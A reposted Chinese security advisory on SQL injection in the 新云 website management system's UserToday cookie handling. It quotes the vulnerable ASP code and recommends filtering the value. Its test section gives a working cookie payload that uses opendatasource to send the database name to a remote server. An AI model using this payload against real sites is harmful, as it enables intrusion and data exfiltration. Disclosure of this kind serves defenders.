首 页 ┆ 源码下载 ┆ IT学院 ┆ 字体下载 ┆ 模板下载 ┆ 源码发布 ┆ 广告合作 ┆ 网站地图 ┆ 虚拟主机 ┆ 中文域名
► 设为首页
► 加入收藏
► 联系我们
源码下载 >> ASP源码 | PHP源码 | ASP.net源码 | JSP源码 | CGI源码 | VC/C++源码 | VB源码 | Delphi源码 | Flash源码
文章学院 >> 网络编程 | 网页设计 | 图形图象 | 数据库 | 服务器 | 网络媒体 | 网络安全 | 操作系统 | 办公软件 | 软件开发 | 黑客知识
字体下载 >> 精制字体 | 非英字体 | 艺术字体 | 著名字体 | 哥特式 | 简单字体 | 手写体 | 节假日 | 图案字体 | 精度像素 | 中文字体
模板下载 >> 企业门户 | 数码网络 | 休闲娱乐 | 影视音乐 | 旅游名胜 | 文化艺术 | 电子商务 | 个性展示 | 登陆导航 | Flash模板
►►您当前的位置:源码园 → IT学院 → 黑客知识 → 网管专题 → 文章内容

新云网站管理系统UpdateUserToday过程参数过滤不足导致多个页面sql注入漏洞--新云,网站管理系统,UpdateUserToday,过程参数,过滤不足,多个页面,sql,注入,漏洞

作者:佚名  来源:网上收集  发布时间:2007-6-9 0:19:36
受影响系统:新云网站管理系统最新版
发现人的BLOG:http://sobiny.cn
发现日期:2006年10月中旬
发布日期:2007年6月上旬
安全综述:新云网站管理系统是一个采用ASP和MSSQL等其他多种数据库生成静态页面构建的高效网站解决方案。

漏洞描述:
先看const.asp的GetUserTodayInfo过程。
Lastlogin = Request.Cookies("newasp_net")("LastTime")
UserDayInfo = Request.Cookies("newasp_net")("UserToday")
If DateDiff("d",LastLogin,Now())<>0 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
UserToday = Split(UserDayInfo, ",")
If Ubound(UserToday) <> 5 Then
………………
UserDayInfo = "0,0,0,0,0,0"
Response.Cookies("newasp_net")("UserToday") = UserDayInfo
end if
然后是
Public Function updateUserToday(ByVal str)
On Error Resume Next
If Trim(str) <> "" Then
Newasp.Execute("update [NC_User] SET UserToday='" & str & "' where username='"& Newasp.membername &"' And userid=" & Newasp.memberid)
Response.Cookies("newasp_net")("UserToday") = str
End If
End Function
大家都能看出来。updateUserToday(ByVal str)str没有经过任何过滤就防进了数据库。

然后就是
articlepost.asp
message.asp
softpost.asp
upfile.asp
upload.asp
这几个文件对GetUserTodayInfo和updateUserToday过程没有验证的直接调用,导致了sql注入

解决方案:过滤UserDayInfo

测试方法:

警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

Sobiny(Bug.Center.Team)提供了如下测试方法:

由于UserDayInfo的格式是 0,0,0,0,0,0每一个字符代表了今天使用的权限,有上传,有短信。
而每使用一次权限,使用权限的那个一数字就会自加1。
所以在构造语句的时候要注意。
在提交的页面的过程中。
在当前权限的数量上必须为数字,否则就会发生错误。
而且updateUserToday过程On Error Resume Next语句,已经屏蔽了错误提示,所以我采用opendatasource远程数据库写入。

以message.asp为例
先发送一条信息抓包,然后修改cookies。
(发送信息代码的数字为第5个。于是我们在第4个','只后,第5个','之前的字符必须为数字。)

于是我们修改如下cookies:
newasp_net=UserToday=0%2c0%2c0%2c0%2c0%2c0

为
newasp_net=UserToday=%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27
server%3D123%2E123%2E123%2E123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3D
admin%27%29%2Eadmin%2Edbo%2Eku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
然后用NC发包

就会在远程123.123.123.123服务器上的数据库写入当前的库名。
%27%3Binsert+into+opendatasource%28%27sqloledb%27%2C%27server%3D123%2E123%2E123%2E
123%3Buid%3Dadmin%3Bpwd%3Dadminadmin%3Bdatabase%3Dadmin%27%29%2Eadmin%2Edbo%2E
ku+select+db%5Fname%280%29%2D%2D%2c0%2c0%2c0%2c0
为
';insert into opendatasource('sqloledb','server=123.123.123.123;uid=admin;pwd=adminadmin;database=admin').admin.dbo.ku select db_name(0)--,0,0,0,0
[] [返回上一页] [打 印]
  • 上一篇文章:邪恶的空格-PHP本地文件包含漏洞的新突破口--空格,PHP,本地文件包含漏洞,突破口
  • 下一篇文章:对国内主流邮箱的跨站测试--国内,主流,邮箱,跨站,测试

  • 相关文章:
  • Php动态函数注入漏洞--Php,动态函数,注入,漏洞
  • 如何寻找动网插件的注入漏洞--寻找,动网插件,注入,漏...
  • 蓝雨设计整站SQL注入漏洞--蓝雨设计整站,SQL,注入,漏...
  • 攻防实战:注入漏洞的利用和防范--攻防实战,注入,漏...
  • SQL注入漏洞攻防必杀技--SQL,注入,漏洞,攻防,必杀技...
  • 新云网站系统新漏洞的入侵过程--新云,网站,系统,漏洞...
  • [图文]新云网站管理系统articlepost.asp文件注入漏洞...
  • FipsCMS Index.ASP 批量SQL注入漏洞--FipsCMS,Index...
  • BBSxp<=7.0 Beta2 SQL注入漏洞--BBSxp,SQL,注入,漏洞...
  • 新云网站管理系统文件注入漏洞--新云,网站,管理系统...
  • f2blog最新注入漏洞--f2blog,注入,漏洞
  • php注入漏洞专题--php,注入,漏洞
关于本站 - 网站帮助 - 广告合作 - 下载声明 - 友情连接 - 网站地图 - 源码发布
Copyright © 2003-2009 Ymyasp.Com. All Rights Reserved .
备案序号:粤ICP备07029071号